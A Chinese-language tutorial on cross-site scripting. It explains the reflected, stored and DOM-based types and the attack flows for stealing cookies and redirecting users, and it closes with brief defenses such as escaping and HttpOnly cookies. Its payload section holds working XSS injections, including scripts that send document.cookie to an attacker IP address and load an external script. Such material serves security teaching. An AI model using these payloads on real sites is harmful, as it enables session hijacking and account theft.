XSS漏洞介绍
跨站脚本(Cross-Site Script,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响。
XSS漏洞危害:
- 挂马
- 盗取用户cookie
- DOS(拒绝服务)客户端浏览器
- 钓鱼攻击,高级钓鱼技巧
- 编写针对性的XSS病毒,删除目标文章,恶意篡改数据,嫁祸
- 劫持用户web行为,甚至进一步渗透内网
- 刷广告,刷流量,破坏网上数据。。。
XSS攻击分为三类:反射型(非持久型)、存储型(持久型)、DOM型
反射型XSS
反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器吧带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
- 用户正常登录服务器,得到一个包含会话令牌的cookie。
- 攻击者通过某种方法向用户提交URL。
- 用户从应用程序中请求攻击者传送给他们的URL。
- 服务器响应用户的请求。由于应用程序中存在XSS漏洞,响应中包含攻击者创建的JavaScript代码。
- 用户浏览器收到攻击者的JavaScript代码,像执行从应用程序收到的其他代码一样,浏览器执行这段代码。
- 攻击者从用户的浏览器中收到会话令牌。
- 攻击者监控访问请求并收到用户的请求。攻击者使用截获的令牌劫持用户的会话,从而访问该用户的个人信息,并代表该用户执行任意操作。
获取cookie
- 攻击者首先向服务器发送js脚本。
- 服务器将含有js脚本的页面发给攻击者。
- 攻击者将js脚本的页面的url发送给用户。
- 攻击者获取用户的cookie。
重定向
- 攻击者首先向服务器发送JS脚本。
- 服务器将含有js脚本的页面发送给攻击者。
- 攻击者将JS脚本的页面发给用户。
- 用户点击url重定向到第三方网站。
XSS存储型
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的贴子时,恶意脚本会在他们的浏览器中得到执行。
- 攻击者提交包含恶意JavaScript的问题,存储在服务器上。
- 用户正常登录应用程序,得到一个包含会话令牌的cookie。
- 用户浏览攻击者的问题。
- 服务器对攻击者的JavaScript做出回应。
- 攻击者的JavaScript在用户的浏览器中执行。
- 用户的浏览器向攻击者发送会话令牌。
- 攻击者劫持用户会话。
获取cookie
- 攻击者首先想服务器发送JS脚本。
- 服务器将JS页面存储在服务器上,并将含有JS脚本的页面发给攻击者。
- 当用户访问服务器时,服务器返回JS页面。
- 攻击者获取用户的cookie。
重定向
- 攻击者首先向服务器发送js脚本。
- 服务器将js页面存储在服务器上,并将含有js脚本的页面发给攻击者。
- 当用户访问服务器时,服务器返回js页面。
- 用户点击url重定向到第三方网站。
基于DOM的XSS漏洞
DOM全称Document Object Model ,使用DOM 可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
HMTL的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有节点,均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可创建或删除节点。
HTML DOM树结构:
在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器交互,它只发生在客户端处理数据的阶段。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
- 用户登录。
- 攻击者将他自己准备的URL回馈给用户。
- 用户请求攻击者的URL。
- 服务器以含有硬编码的JavaScript页面回应。
- 攻击者的URL由JavaScript处理,引发其攻击有效载荷。
- 用户的浏览器向攻击者发送会话令牌。
- 攻击者劫持用户的会话。
xss攻击
存储型,反射型
直接嵌入:<script>alert(‘xss’)</script>
元素事件:<body οnlοad=alert(‘xss’)>
<a herf=http://192.168.5.4>click</a>
<img src=http://192.168.5.4/a.jpg οnerrοr=alert(‘xss’)>
<a herf=’’ οnclick=alert(‘xss’)>type</a>
重定向:<script>window.location=”http://ww.baidu.com”</script>
重定向:<script>window.location=’http://192.168.5.4’</script>
<iframe src=’http://192.168.5.128/a.jpg’ height=’0’ width=’0’></iframe>
获取cookie:
<script>new Image().src=”http://192.168.5.4/c.php?output=”+document.cookie;</script>
<script>alert(document.cookie)</script>
<script src=’http://192.168.5.4/a.js’></script>
a.js
var img = new Image();
img.src = 'http://192.168.5.4:88/cookie.php?cookie='+document.cookie;
DOM型
<script>var img=document.createElement(‘img’);img.src=’http://192.168.5.4:88/log?’+escape(document.cookie);</script>
<script>alert(/xss/)</script>
</option></select><img src=1 οnerrοr=alert(/xss/)>
#<script>alert(/xss/)</script>
XSS防御
根本性对策(个别对策)
html的元素内容:使用htmlspecialchars函数转义。
属性值:使用htmlspecialchars函数转义并用双引号括起来。
根本性对策(共通对策)
明确设置http响应的字符编码。
辅助对策
输入校验。
给cookie添加httponly属性。
关闭TRACE方法。